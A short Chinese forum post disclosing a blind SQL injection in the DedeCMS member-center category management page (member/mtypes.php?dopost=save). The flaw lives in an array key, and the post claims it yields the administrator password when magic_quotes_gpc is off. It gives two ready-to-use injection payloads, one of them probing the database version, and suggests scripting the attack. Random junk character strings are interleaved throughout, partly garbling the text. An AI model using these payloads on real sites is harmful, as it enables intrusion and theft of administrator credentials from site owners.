DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
# c# h4 |! A5 ^- W( F' X4 R6 S
' P4 E+ x  D) B- z& n/ G8 n
8 Y- o) B4 E0 ?3 a# H7 ]$ \% E* ~2 T  E发生在数组key里的注射漏洞,有点意思.
  ]; y: {9 B6 m  }7 s# p4 M1 p" ?2 l
( W& s9 O5 ]' a" g, \8 |& V; W这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
( m0 w, u' F/ |- j8 C/ h$ K
+ u+ s( _/ K* \, Yhttp://www.xxx.com /dede/member/mtypes.php?dopost=save

exploit:
- o1 I. M% P% c0 a" [+ Hmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r